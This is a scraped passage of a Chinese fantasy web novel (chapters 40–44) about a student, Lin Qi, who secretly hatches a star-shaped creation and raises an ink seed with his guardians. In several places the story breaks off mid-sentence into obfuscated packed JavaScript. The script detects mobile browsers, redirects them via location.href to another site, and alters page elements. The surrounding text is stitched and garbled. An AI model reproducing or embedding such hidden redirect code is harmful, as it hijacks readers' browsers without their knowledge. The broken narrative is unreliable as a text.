凌壑提着葛严用力晃了几下,直接给人晃噤声了,他像观察什么变异生物一样,侧头盯着葛严,惊讶道:“你也知道我家孩子家里有靠山啊?那你还敢惹他?” 他说着,左手屈指,在葛严头上梆梆敲了两下,“你是不是脑子不好?哦~听声音是有点空旷。” 工房里还有其他学生,听着动静已经朝这边看了过来,议论声嗡嗡响起。 葛严被人像抓小鸡仔一样拎着,挣脱不开,气得整个人都快炸了,用力踢腿挣扎,“放开我!放开!” “也行~毕竟拎着也怪累的。”凌壑说着,吹了声口哨。 片刻,一头纯黑色的巨狼从门外踱步进来,接近两米的高大身躯以一种堪称优雅的姿态绕过桌椅,彬彬有礼地在凌壑身侧蹲下。 “你应该听说过吧?我是驯院的。”凌壑以一种投喂食物般的姿态,把葛严放在巨狼面前。 巨狼眯起一双鬼火似的绿眼,很配合地低吼一声,张开嘴,露出一口獠牙。 凛冽的野兽气息扑面而来。 葛严忽然就老实了。 不动也不说话,只有小腿在微微发抖。 凌壑掸灰似的拍了拍手,走到林栖身旁,笑着在他头上揉了揉,然后仿佛脾气很好一样对葛严道:“好了,道歉吧,说一百遍林栖对不起我错了以后不敢了。” 葛严脸色难看地咬着嘴唇,不吭声。 这时那只巨狼又朝他低吼一声,从上方探身凑近,在地上磨了磨爪。 葛严僵硬地抖了抖,脸色惨白地颤声开口:“林栖对不起,我错了,以后不敢了……” 凌壑竖起一根手指,“不错,第一遍,还有九十九遍,好好说,别抖,口齿清晰一点。” 三分钟后,围观的学生已经在后面站了一圈,卫老师闻讯也从材料区赶了过来。 他看看那只面目凶恶的狼,又看看那位张扬跋扈的驯院老师,再看看呆若木鸡的葛严和乖乖站着的林栖…… “这是……这是怎么回事?凌老师?” 凌壑朝他笑笑,“稍等一下。” 卫老师:“什么?” 他看向葛严。 葛严的眼圈都红了,一副使劲憋着泪的样子,委屈又求助地朝他看了过来,“卫老师……” “是这样的,卫老师,您也知道,不同院系的做事风格一向不太一样——”凌壑说着,又朝葛严扫了一眼,“没跟你说话,继续,别停。” 卫老师左右看看,刚想开口就被凌壑打断。 “我们驯院一向很喜欢替某些不懂事的家长教育孩子。”凌壑说着,眸光一扫,“还有三遍,大声点,听不清楚不算。” 葛严吸了一下鼻子,“林栖对不起,我错了,以后不敢了。” 卫老师又看向林栖,还没开口,就被凌壑侧身截住视线,“卫老师,你也听见了,这位同学在跟我家孩子道歉,既然道歉,就说明他做错了事,欺负了我家孩子。我们不是那种不讲理的家长,也不多追究了,只让他道个歉就算了。” 旁边,葛严终于说完了一百遍,没忍住丢人,眼泪啪嗒一声掉了下来。 别人看到这幅画面,大概会以为葛严才是被欺负的那个。 凌壑却好像对这种效果非常满意,朝葛严摆了摆手,示意他可以滚了,又对卫老师道:“是这样的卫老师,今天周五,我是来接我家孩子放学的,现在已经接到了,那我们就先走了,您去忙吧。” 卫老师:“……可是今天下午还有体育课和健康课。” 凌壑:“已经帮他请过假了。” 卫老师:“……” 他沉默片刻,看看巨狼又看看凌壑,还是忍不住走到林栖面前,想听他亲口说说到底怎么回事。 林栖低头看着自己的手,小声道:“葛严扔了我的东西,不过已经道过歉了。” 好吧……卫老师笑得有点尴尬,“下次再有这样的情况,记得跟老师说。” 凌壑笑了一声,视线扫过四周,语气堪称跋扈,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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纸上放着三块黏土蛋胚,其中两块是在垃圾桶里摔碎的,三块全部拼在一起就是一颗完整的蛋形。 叶寻上午已经听说了孵化失败的事,还特意去工房看过一眼,当时没看出什么问题,回来之后却总觉得有些不对。 虽然蛋胚看起来完全就是孵化失败的样子。 但他一向很信直觉。 桌上亮着台灯,叶寻戴上手套,拿起其中一块蛋胚,在手上掂了掂,没觉得有什么异常,又将三块拼合成一个整体,转着看了一圈,依然没有异常。 但他还是觉得哪里不对,把台灯又调亮了一些,单独取出最小的那块黏土,对光看了看,又顺着开裂的纹理,从边角处掰下一块。 确实是实心黏土,没有孵化…… 嗯? 等等。 裂纹好像比想象的深。 他看到刚掰开的黏土断面上有一条极细的纵向纹理,转过一点角度,那道纹理在光影交界处看着更加明显。 他又掰了几块,找到了更多像这样的细纹。 片刻,叶寻放下那些碎块,重新拿起完整的半块蛋胚,将断面对光,弧面朝向自己,只看了短短几秒就霍然起身,又拎来两架台灯,全部调成最亮,把光线集中到一处,再将半块蛋胚对光细看。 果然。 那些裂纹不是只在蛋胚表面,而是呈点状一直贯穿到底,对着强光能看到裂纹底部的细小光点。 叶寻闭上眼睛,在脑中描绘图像,能想象出蛋胚中心有一个极小的点,向外延伸出放射状的细线。 这样看来,那些细纹就不是缺水开裂,而是某种孵化迹象。 叶寻在百忙之中还不忘抽空夸自己一句:我真厉害,这都被我看出来了,其他老师都没发现,还以为这颗是个哑蛋。 可惜中途就裂开了,没能孵化完成。 等等…… 等等等等! 叶寻被自己的想法惊了一下。 正常孵化状态下,蛋也是要裂开的,只不过裂的是外壳而不是整体。 这里有个思维惯性,一般人会觉得“壳”一定不会是实心的。 唔……我真厉害,连这一点都想到了。 但是这才三天…… 真的假的? 就算要破纪录,也不用直接对半砍吧? 叶寻脸色复杂,屈指抵在唇边,嘴里默念着,如果真的孵化成功,时间就在昨天夜里到今天清晨之间。 工房是上了锁的,孵化箱也是密封状态。 可如果真的孵化成功,那只造物又去哪里了呢?为什么没在孵化箱里找到? 叶寻闭着眼睛脑补当时的情形,脸上表情越发复杂…… 该不会是跑了吧? 想象一下,一只鼻屎大的小东西,趁着高师傅检查的时候,藏在视觉死角,一开门就溜了。 好合理…… 可如果真是这样,那不就是…… 中级造物。 叶寻沉默了。 怎么回事啊小林同学……说好的笨蛋呢? 41. 第 41 章 外城区的温度比中心区低,午后的风穿过松林,已经有了秋天的凉意。 明明是凉的,却让林栖想起烘烤过又凝固的糖,有一种清脆又温暖的甜。 半斜的阳光倾洒在原木台阶,凝固成透明的琥珀色,仿佛是一层厚而暖的糖壳。 林栖微微眯起眼睛,听着自己的脚步声,每一步都像虚着手掌,叩在一扇半掩的门上。 他似乎尝到了“回家”两个字的味道。 台阶走到一半,脚下松枝发出一声酥脆的轻响,蹲在松树枝头打瞌睡的粉色松鼠激灵一下醒了,小爪子在胸口快速扒拉几下,摸出一把金哨子,“吱——”的一声吹响。 金属尾音在松林间回荡片刻,忽然头顶传来哗啦一声,一片松果球落了下来,但什么都没砸中,只是在林栖周围描了一圈。 大约十几秒后,台阶尽头的大门“呼”的一声打开,一道比石墩子高不了多少的人影站在门里,探头看了一眼,沙沙沙地跑回院里,片刻又咚咚咚地跑了回来,远远地叉着腰道:“你怎么回来了?” 林栖注意到,林鹭第一次探头的时候没穿鞋,而这一次穿了。 他还没开口,林鹭又朝他喊话:“你拿我给你的弹弓打怪物了吗?” 林栖仰着头回答:“还没有。” 林鹭抱起手臂,正要继续发话,又一道高挑人影出现在门里,怀里抱着厚厚一叠被子,几乎把整个人遮得严严实实,用手卷了一下,才从后面露出半张清隽帅气的脸。 观沄看着林栖一怔,“我还想去接你……” 他说着迈出门槛走了几步,手上力道一松,刚晒好的新被子好似装了弹簧一样向上蓬起,又把他整张脸都遮住了。 凌壑在旁边笑了几声。 “等等,下午不是还有课吗?”观沄眸光扫向凌壑,“你带他逃课了?” 凌壑无辜摊手,“当然是请了假的。” 观沄不再理他,站在台阶前,仰头卷了卷被子,向前迈了两步又停住,无奈侧身朝林栖道:“我先把被子放回去。” 林栖点点头,看着观沄转身时的白T恤和牛仔裤,下意识地加快步子,走了几步又回头去看祈越。 从下车开始,祈越就跟他和凌壑隔着一段距离,此时独自走在路旁的松林里,好像又成了某种野生动物。 林鹭像个门神似的站在门口,见林栖上来,扬着一张小脸问:“那你拿我弹弓打什么了?有人骂你了吗?你打他了吗?” 林栖摇头说:“没有。” “真没用。”林鹭皱着鼻子伸手,“弹弓还我。” 林栖想说弹弓没带回来,却又改口道:“不还,送给我就是我的。” 林鹭表情有一瞬间的拧巴,嘴巴好像成了跷跷板,一边嘴角往下撇着,另一边嘴角却止不住地上翘。 “早知道就不给你了。”林鹭嫌弃地说完这句,头一扭,又蹬蹬蹬地跑了。 接着林栖就闻到了一股温暖又熟悉的松墨香。 观沄大步走来,笑着俯身朝他打量,站直时又用手在他头顶虚虚比了一下,“好像长高了?看来学校的饭菜还不算特别难吃。” “跟你做的比起来,世界上就没有难吃的饭吧?”凌壑在旁边悠然开口,“我建议你今天就别下厨了,孩子好不容易回家一趟,这要是吃了你做的饭,不得连夜离家出走?” 观沄只当这人是空气,带着林栖往屋里走,林栖转头看到祈越没跟他们进屋,而是直接去了仓库。 他有种奇怪的感觉,就好像这段时间的相处在回来的这一路上全蒸发了,现在祈越身上的刺又长回到了半个月之前的长度。 进屋之后,林栖又闻到了一股松墨香,他洗了手,回自己房间去换衣服,一开门就看到窗帘被风卷动,洒下整片阳光。 房间和他离开的时候一样,但床单被子都刚洗过晒过,散发着干净柔软的香,连空气都仿佛是蓬松的。 窗台外面摆着几只新放上的陶罐,里面种了大捧的鼠尾草,成串的蓝色小花被阳光照得透明,远看好似一片星光。 换好衣服出来,观沄给他倒了一大杯水果茶,他以为观沄会问学校里的事,比如怪物,比如伪造伤口,比如考试考零分、孵蛋不成功……但观沄什么都没问,只是提醒他水果茶是刚煮好的,当心烫着。 确实很烫,林栖盯着它等了五分钟也没能下口。 观沄反复将手指贴在杯子上试温度,最终也只能无奈道:“这个杯子还是应该冬天再用,现在有点太早了……还是等会儿再喝吧,我先给你看样东西。” 林栖像条小尾巴,跟着观沄来到书房。 观沄站在书架前,有些神秘地朝他一笑,转身取下一只透明密封罐,单手托着递了过来,用一种给小朋友发糖的语气道:“看看这是什么?” 林栖透过玻璃往里看,但什么都没看到,于是又看向观沄。 观沄笑着,食指勾住拴在罐子上的棉绳,将它提起,悬空放在自己身前,有白T恤做背景,林栖终于在罐子底部看到了一颗黑点,就像有人不小心把一滴墨水甩在了那里。 他凑近去看,那颗黑点忽然原地起跳,好像跳蚤似的蹦了几下。 林栖微微睁大眼睛,凑得更近,这次看清楚了,那颗黑点不是一滴,而是一颗,绿豆大小,圆滚滚的,每次落下之后都会压扁一些,弹起之后则重新变圆。 跳了几下之后,黑点忽然不动了,隔着玻璃跟林栖“对视”。 林栖抬眼看向观沄。 观沄解释道:“这是墨种,刚分出来没多久,等再养大一些,就是新的‘源墨’。” 源墨? 林栖对这个词并不陌生,但…… 观沄屈指在玻璃罐上一弹,那颗圆滚滚的墨种落到罐底,发出“叮”的一声。 “可以把养墨理解成养酵母,最开始比较麻烦,要用纯松烟养,而且一不小心就会死给你看,画院新生入学,第一件事就是养墨,要能养活才算正式入门,不过这颗已经活了,只要继续养大就好。” 罐子里的墨种忽然又跳起来,撞向玻璃,被弹开,发出极细微的“叮叮”声响。 观沄提着罐子晃了晃,把它晃回罐底,“不过教学用的源墨脾气很好,我的就有点一言难尽,墨种会继承上一代源墨的脾气喜好,这颗你先养养看,如果不喜欢,我再给你找个脾气好的。” 话音刚落,白T恤的肩膀位置就现出一块指甲大的黑色,接着,一颗大一号的墨点从布料肌理中探头冒了出来,弹珠似的向上一弹,又狠狠落下,在观沄身上气鼓鼓地上蹿下跳。 观沄屈指将它拍开,对林栖道:“看到了么?就是这个臭脾气。” 墨点飞向墙壁又落回来,顿时跳得更起劲了,仿佛想凭着豆大的身躯,把观沄活活砸死。 观沄皱了皱眉,“不然还是换一个吧……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720067|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林栖摇头,摊开掌心去接罐子,“源墨测试用的也是这种源墨?” “嗯,它们都是源墨。”观沄将密封罐递给林栖,“从辈分上讲,测试笔的源墨算是祖宗级别。另外,辈分最老的源墨是在造院,记得么?考试那天它还离家出走。” 林栖记得,当时许慎行就是为了去找老源墨,才会急匆匆地离开。 观沄这样说是为了方便理解,其实源墨只是给人感觉类似酵母,实际并不一样。 源墨是造物,不同画师所养的源墨只是性格不同,本质上,它们都是同一块墨,是同一件造物的不同衍生个体。 林栖看着玻璃罐问:“那它也会跑吗?” “是会离家出走,如果找不回来,就会变成‘野墨’。”观沄朝窗外指指,“其实松林里面就有,收取松烟的时候,偶尔就会引来一颗。” 林栖默默把手里的罐子抱紧了些,观沄笑道:“现在还不用担心这个,离家出走也是长大之后,这阶段的墨种只知道吃,算是最好养的时候。” 林栖点头,“那它吃什么呢?” “画师养墨是为了制作画傀,通常只喂松烟、糖和一些矿物,这颗是给你养着玩的,吃什么都可以,不过这阶段的食物会决定它以后的口味。” 观沄俯身道,“可以选你爱吃的,这样在你嘴馋的时候,就可以拿它做借口,也可以选你不爱吃的,这样挑食就有了很充分的理由——当然,挑食是不对的。” 林栖顿时有点纠结。 观沄告诉他可以慢慢想,刚拿到墨种最好不要立刻喂食,要先在身边放一晚上。 于是林栖就把密封罐放到了自己枕头旁边,摆在床头灯下,随时可以看见。 小东西气鼓鼓地蹦了一下午,到晚上终于老实了,安静待在罐子底部,整颗墨看起来有一点扁,像是一只趴着睡着了的仓鼠。 晚上十点钟,林栖洗漱完毕回到房间,走到窗前,又朝仓库看了一眼,见灯还没灭,于是拿了一本图册坐到床上,打算再看一会儿。 床头灯有两盏,一盏照明灯和一盏夜灯,照明灯的光线稍有些亮,虽然灯泡做了柔光处理,但直接看的时候还是会有些晃眼。 林栖喜欢靠着枕头看书,角度低,抬头就会看到灯泡,一开始被晃过几次,但很快就习惯了,不会在看书的时候抬头,看完之后也会第一时间伸手关灯。 但这会儿,书刚看了几页,他却忽然仰头看向光源。 灯光依然有些晃眼,他却没有移开视线,反而在轻微的晕眩感中睁大了眼睛。 他看到,在暖黄色的灯上,有一颗…… 一颗…… 星星。 它和灯光颜色接近,但更加明亮,因而显得稍浅一些,仿佛是在起雾的玻璃表面擦出了一块图案,透出更多的光。 这一刻的感觉很神奇。 林栖缓缓眨了下眼,在轻微的恍惚感中垂眸,伸手向前,在灯下摊开掌心。 一秒,两秒…… 那颗星星像一片雪,就这样飘落下来。 它没有触感,没有温度,没有重量。 它只是一团光,却又有着标准的星星形状。 林栖看着它,轻轻收拢掌心而后张开。 原来这就是成为造物师的感觉…… 没有任何理由,但他就是知道—— 他用一团黏土,孵出了一颗星星。 42. 第 42 章 几分钟后,林栖从那种沉浸的状态中回过神来,重新听到了闹钟的水波声和窗外的风声。 造物蛋是在学校里孵化的,可为什么星星会在这里? 他捏紧手心,再次确定,这颗星星没有实体。 从灯下走到墙角,把手伸到暗处,能看到指缝里透出暖黄的光,就像是在手心里涂了某种夜光涂料。 片刻,光从指缝消失,一颗浅黄色的五角星又回到了灯上。 林栖眯着眼睛,绕到侧面看了几秒,伸手按下开关。照明灯熄灭,屋里只剩夜灯,在床边投下一层暗淡昏暖的光,只能勉强照亮周围物体轮廓。 林栖看到,在关灯的同一时间,星星从照明灯上消失,就这样出现在了一米外的小夜灯上。 夜灯的灯泡只有照明灯的一半大小,星星再出现时也只有之前的一半大小,明亮的浅黄色只维持瞬息就黯淡下去,变成了一颗近乎橘黄色的迷你星,跟新的灯泡融为一体。 林栖静静观察片刻,又关了这盏夜灯,于是房间彻底变暗,只有床头那颗半球形的“鸭子水塘”闹钟还散发着一点蓝色微光。 林栖看到星星出现在闹钟上,不过这次只一瞬间就消失了。 他左右看看,没见到星星在哪,重新打开照明灯和夜灯,几乎就在灯泡亮起的同一时间,星星再一次出现在了照明灯上。 林栖好像有点懂了,走到客厅,先把顶灯关上,又打开沙发旁的立式台灯。灯光刺眼,他用手指半遮着视线看向那颗暖白色的灯泡,果然在上面发现了一颗亮到发白的星。 他伸手接住灯光,星星再次落入掌心,静静躺在那里,逐渐从耀眼的亮白色变成更柔和的暖白。 林栖又反复试了几次,不管他走到哪里,星星总会在他身边出现,找到距离他最近的光源。 所以,在学校里的时候,这颗星星已经在跟着他了?后来又从主城一路跟到这边…… 可爱。 像只小狗。 林栖在床上躺了一会儿又忍不住起身。睡不着,仿佛有许多小石子在心里蹦蹦跳跳。 他翻身下床,走到窗前看了一眼,见仓库里的灯还亮着,于是抱起床头的密封罐,走了出去。 仓库大门关着但没有锁,两扇厚重木板之间闪着一条曲曲折折的窄缝。 林栖对着门缝眯了下眼,抬手敲门。 片刻,窄缝缓缓变大,只打开了侧身能通过的宽度,祈越站在门里,依然穿着白天那套衣服,手上多了一副工作手套,似乎正在修理东西。 祈越看着林栖,没说话,脸上表情淡淡的,赶客意味十分明显,仿佛这里环境适宜,仙人掌的尖刺一天之间又长了半米。 两人隔着仅有二十公分宽的门缝站了十几秒钟,终于,祈越向后退开几步,让出了进门的位置。 林栖什么都没说,只是把抱在怀里的密封罐改成单手拎着,侧身进了大门。 仓库里做了分区,一进门的位置是工作区,宽大的木桌上摆着整齐的工具。休息区在更里面一些,隔着几排置物架和木箱,要绕过去才能看到。 林栖朝头顶的铁艺吊灯看了一眼,虽然这个距离看不清楚,但他知道,那颗星星就在上面。 今晚出门的目的已经达到了。 林栖想跟祈越分享,虽然还没想好该怎么说,甚至没想好要不要说,但他可以先带星星过来串门。 顺便,墨点也一起过来遛遛。 祈越朝凳子上指了指,林栖坐下,抱着玻璃罐子不吭声,但神色轻松,似乎心情很好。 他没说话,祈越也没说话,两人就这样隔着一张桌子浪费时间。 桌上摆着一只台灯,没开,林栖目光不经意地从它上面扫过几圈,忽然抬手按了开关,又嫌刺眼似的把灯罩往下压了压,但他开了灯却不用,甚至没把玻璃罐子摆到台灯下面,似乎只是单纯闲着无聊,没一会儿又把台灯关了。 又是一阵沉默,祈越摘下工作手套放在一旁,朝林栖怀里的玻璃罐子指了指,“这是什么?” 其实他已经看到了那颗黑点,也知道它是墨种,观沄是画师,常年住在松林这种偏僻地方大概也是为了养墨。 他很清楚自己是在明知故问。 且他本来就不想让林栖过来,不打算跟他闲聊,为什么又要主动开启话题? 他跟着林栖是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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不是说谎惯犯么?怎么今天演得这么生硬。 43. 第 43 章 早饭过后,林栖开始在全家范围内搜刮食材。 很快桌上就摆了十几个蘸料用的小碟,里面分别放着饼干碎、跳跳糖、可可粉、甜奶粉、豆奶粉、黑芝麻粉、草莓冻干粉、芝士粉、大蒜粉、海盐迷迭香粉…… 第一顿饭,他打算让墨点自选。 观沄站在门边,笑着看他忙来忙去。 又过了几分钟,林栖从床头抱起密封罐,小心翼翼地拿到桌前打开。 一颗小墨点待在罐子底部,扁扁地缩成一团,看起来老实、乖巧,又有点无助。 林栖轻轻晃了一下罐子,小墨点待在原地一动不动。 他试着把罐子倾斜一点角度,同时忍不住想,自己是不是把它关得太久,闷坏了? 但这想法只持续了短短一瞬,因为下一秒,乖巧又无助的小墨点就毫无预兆地跳了起来,玻璃上传来急促的“叮叮”两声,林栖只来得及看到一抹残影从自己眼前划过。 接着就听“咻”的一下,小墨点像只见了猫的跳蚤,直接无视满桌大餐,高高起跳,以一种要把自己撞散架的气势,一头扎到了窗台角上。 那位置放了一本字典。 小墨点从侧面撞上书页边缘,发出“噗”的一声,瞬间挤扁,从缝隙里钻了进去。 “坏了……”观沄的声音从后面传来,“怪我没注意,应该提前把附近的书都收走。” 林栖顶着一颗问号回头。 观沄走到桌前拿起字典,翻了翻又递给林栖,“墨种躲在书里是很麻烦的,根本就抓不到。” 林栖翻开字典,看着纸上密密麻麻的文字,瞬间就懂了观沄的意思。 墨可以融入文字,这本书里的每一个字都有可能藏着墨点。 “很少会遇到这种情况,墨种阶段都很贪吃,很好养,果然还是因为脾气不好……”观沄无奈道,“真的不要换一颗吗?” 林栖摇头。 于是观沄去厨房找了个大号玻璃罐回来,把整本字典装进里面,又把盖子盖好,告诉林栖不用管它,饿了会自己出来,不过它会吃书,可能要等很久。 ……吃书? 林栖想着书页上干巴巴的油墨,又看看桌子上的各种食材,沉默了。 一天很快过去,临近傍晚,夕阳斜照,罐子里还是没有一点动静,林栖忍不住想先试着找找。 虽然观沄已经说了抓不到,小墨点可以藏在任意一个字里,但在他的脑补中,旧的字上叠了新的墨,颜色总是有点不一样的。 也可能字迹会凸起一点,看不出来,但能摸到。 决定之后,他把房间里的书全部放进柜子,又关好房门,这才打开罐子,将字典拿了出来,摊开放在灯下。 在开始之前,他先朝灯泡看了一眼,却意外地没有看到星星。 不过他只疑惑一瞬就接受了这个事实,白天本来就是没星星的,要等天黑才有。 林栖开始专心寻找墨点,一边仔细看着,一边用手指摸着向下平移。 大约半小时后,指尖忽然传来了一点不一样的触感,他几乎立刻顿住动作。 那点触感变得更加清晰,带着明显的圆润弧度,他稍微挪开手指,就见小墨点从他按的位置钻了出来,圆滚滚地凝成一团。 林栖没想到真能找到,反应略微慢了半拍,但小墨点没有趁机逃跑,只是乖乖待在原地,整颗墨看着有一点扁,像之前在罐子里的时候一样,老实乖巧,似乎还有点可怜。 林栖把它放回密封罐里,拿着去找观沄。 观沄正在书房整理东西,听他说完之后,眼中透出很明显的疑惑,“你说你是从书里把它找出来的?” 林栖点头。 观沄的疑惑中又透出好奇,“怎么找的?” 以前也有学生遇到过这种情况,整个班的人凑在一起,也没能把那颗墨种找到…… 林栖正要回答,凌壑的声音忽然从后面传来,“刚得到的消息,已经有定论了,两只怪物都是巡逻队故意放进学校里的。” 两只怪物?巡逻队? 林栖看向门口。 凌壑一边走近,一边朝他眨了下眼,问观沄:“这话题适合孩子听吗?” 观沄略一思索,俯身对林栖道:“先等等,等我把这件事了解清楚,然后再告诉你,好么?” 林栖点头,观沄笑着指了指他手里的密封罐,“去吧,好不容易找到了,给它喂点吃的。” 林栖把小墨点带回房间,这次没敢放它出来,只是挖了一撮甜奶粉放在罐子里,看它吃不吃,如果不吃再换别的。 结果刚放进去,小墨点就轱辘一下滚到了奶粉堆里。 林栖其实看不懂它是怎么“吃”的,只能看到奶粉在慢慢变少。 等小墨点把那一撮奶粉吃完,圆滚滚地挪到一旁“睡觉”,外面天色已经暗了。 林栖出去看到书房关着门,知道观沄和凌壑还没说完,于是去找祈越,告诉他有关怪物的事。 祈越慢悠悠地摘了手套,“所以你是特意来兑现赌约的?” 林栖:“……” 什么赌约,他好像根本就没同意打赌。 祈越:“我赢了。” 林栖:“……” 可是我也没输。 “不过。”祈越看着他道,“当时我说,怪物是被人放进来的,你没反驳就等于同意,所以这个赌约算是我跟你都赢了。” 林栖:“?” 所以呢? “赢的人可以知道对方一个秘密。”祈越没给林栖反应时间,直接道,“那天在店里,你问我有没有林叙的造物,答案是:有。” 林栖仿佛看到一只鱼钩在自己眼前晃悠,沉默两秒钟后,还是闭眼咬了上去。 他问:“然后呢?” 祈越看着他,唇角微微一抬,“然后该你说了。” 林栖:“……” 虽然祈越简直狡猾奸诈不讲道理,但…… 他现在真的有一个秘密可以交换。 而且他觉得,这个秘密是有时效性的,如果不换出去,早晚也会被祈越发现。 在心里默默盘算片刻后,林栖开口,“那等我说完之后,你……” “我会把我知道的,有关林叙造物的事情都告诉你,这样可以了吗?” 林栖心道奸诈,喉中咕哝一声,点了下头,“之前卫老师跟我说,我的那颗造物蛋裂开了,没有孵化成功。” “然后呢?”祈越配合地问了一句。 林栖轻轻吸了口气,继续道:“其实孵出来了。” 祈越眸中透出一瞬间的怀疑,不知是怀疑林栖所说的话,还是怀疑他的认知。 林栖张了张嘴,又闭上,唇缝轻抿着,像是不知道该怎么解释,犹豫片刻道:“还是直接看吧,你跟我来。” 林栖对仓库里的情况不是很熟,于是把祈越叫道自己房间去看。 他提前看了一眼,确定外面已经黑了,天上也已经出现了很多野生的星星,这才把床头灯打开,又起身关了房间里的顶灯。 路过祈越身边时,林栖顿了顿,然后慢吞吞地走向床头,先是歪着脑袋看了一眼,接着左手撑在床上,支着身子向前伸出右手,像要抓住什么似的,向灯下探了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祈越的手指还停在林栖掌心,他像是刚刚看清这个动作,怔了一下收手,指节随着动作惯性蜷起,却没碰到自己掌心,只是略带僵硬地悬在半空,好像手指上不小心沾了未干的颜料,蹭到哪里都会染上颜色。 林栖转回来,放下手,左手拇指无意识地揉了一下右手掌心,听到祈越问:“这是你的第一件造物?” 林栖点头,连自己都没发现动作有一瞬间的迟疑。 “我只修过造物,并没亲手做过,不是很懂,像这样没有实体的造物应该怎么界定?”祈越的语气平稳和缓,像在耐心求教。 “界定什么?” “造物属性,比如等级。” 林栖还没想过这个问题,但记得初级标准是自主活动能力和明确的功能性,中级标准是生物活性,高级标准是语言能力…… 后两条显然都不符合,第一条他也不太确定,因为他见过的初级造物要么是长着腿会走路的,要么是带轮子到处跑的。 他的星星没有腿,也没有轮子。 不过自己会动,而且跑得很快。 “好像是初级?” 林栖不太确定,初级造物还要有明确的功能属性,一颗小星星的功能是什么呢? 小狗…… 不对。 他看向祈越,见他垂眸不知在想什么,于是道:“我说完了,该你说了。” 44. 第 44 章 祈越抬眸时视线在林栖脸上停了一瞬,把话说得很直接,“林叙的造物、造物残片,以及所有相关事物,都在店主手上,不在店里。” 原来还有造物残片……林栖等着祈越继续说。 “店主不会来学城,如果你想找林叙造物,就要想办法见到店主。” “那怎么才能见到店主?” “没办法,只能等他主动找你。” 林栖:“?” 祈越靠着椅背,略微偏头,目光斜过一点角度停在林栖脸上,“如果你和林家有关系,或者跟林叙有关系,那么总有一天,店主会主动找你。” 言外之意,否则就别想见店主了。 林栖忽然懂了一个长久以来的疑惑,那位店主为什么会让祈越跟他上学,还有当时观沄看到那封信的反应。 因为这些都和林家有关。 店主知道他是林家人。 另一边,书房。 凌壑晃着一双长腿坐在桌上,观沄在他对面站着。 “总而言之,因为这次事件,学校打算搞个模拟训练,教学生怎么对付怪物,就算对付不了,好歹看看怪物有几条腿、几个脑袋,万一以后真遇见了,也不至于只会吱哇乱叫。” “你的意思是用画傀模拟?” “哇好聪明,不愧是观院长~”凌壑跳下桌,一把搭在观沄肩膀上,“本来是你们画院的训练课,现在拿来救火,学校可是欠了你们画院好大一个人情,现在很缺人手,只要观院长肯回去,什么要求都可以提。” 观沄把他手臂推开,“什么时候开始?” 凌壑笑嘻嘻地又要去揪观沄头发,“筹备中~下周公布消息,毕竟事情闹得这么难看,总得搞点什么转移一下注意。” 观沄偏头躲开,脸上仿佛写着:你怎么什么都知道? 凌壑做了个假动作,接着快速在观沄头上揉了一把,见好就收,一边后撤一边举手投降,“不然还怎么在你面前显摆?” 晚饭时,观沄斟酌着措辞把事情经过跟林栖说了,提到模拟训练时,他道:“小朋友是不用想着怎么对付怪物的,遇到怪物唯一要做的就是逃跑,别被伤到。” 第二天晚上林栖回学校,先到祈院做了一次返校检查,到公寓时已经接近八点,刚开门,还没来及进屋,就见沐夏跑了过来。 祈越拿着行李先行进屋,他在门口等着看沐夏找他有什么事。 “终于回来了。”沐夏仿佛很久没见似的朝他身上打量,“你听说了吗?好吓人啊,怪物是被故意放进来的。” 林栖点点头。 正准备继续说的沐夏明显卡了一下,惊讶道:“你已经知道了?” 印象中林栖有点迟钝,有什么事总是最后一个知道,所以他才特意过来告诉他的。 林栖:“嗯。” “那你听说了吗?那个队长是为了报复才把怪物放进来的,他女儿侵蚀,他把她藏起来,想找祈院净化,结果祈院没同意,后来他女儿被发现了赶出学城,他就觉得整个学校都有错,就想报复,想让所有人都被侵蚀。” 林栖迟疑着点了下头,虽然细节有些不一样,但这些他也听观沄说了。 沐夏那双不太大的眼中透出惊讶,“你都知道了?那你还知道什么别的吗?我听说学校后面要安排一个什么,但是没打听到具体情况。” 林栖:“嗯……” 观沄只说模拟训练的事还没公布,没告诉他能不能跟别人说。 沐夏张大眼睛,忍不住往林栖面前凑,“你真知道啊?” 林栖默默往后撤,“知道一点。” 沐夏两只手在身前晃了晃,一脸兴奋道:“是什么啊?能告诉我吗?我不会跟别人说的。” 林栖想了想,建议道:“你去图书馆的时候,可以找找怪物图鉴,最好能借一两本回来。” 沐夏听到怪物两个字,眼睛顿时瞪圆,紧张地压低嗓子,“什么!还会有怪物吗!” “不是真的怪物……” 林栖把模拟训练的事简单解释一遍,沐夏听完消化片刻,忽然两眼放光,“这对咱们造院很有利啊!你想想,造物是不会被攻击的,那咱们以后训练带上造物,不就是单方面打怪物了?肯定能赢啊!模拟训练算学分吗?有排名吗?” 虽然听起来很有道理,但林栖总觉得哪里不对。 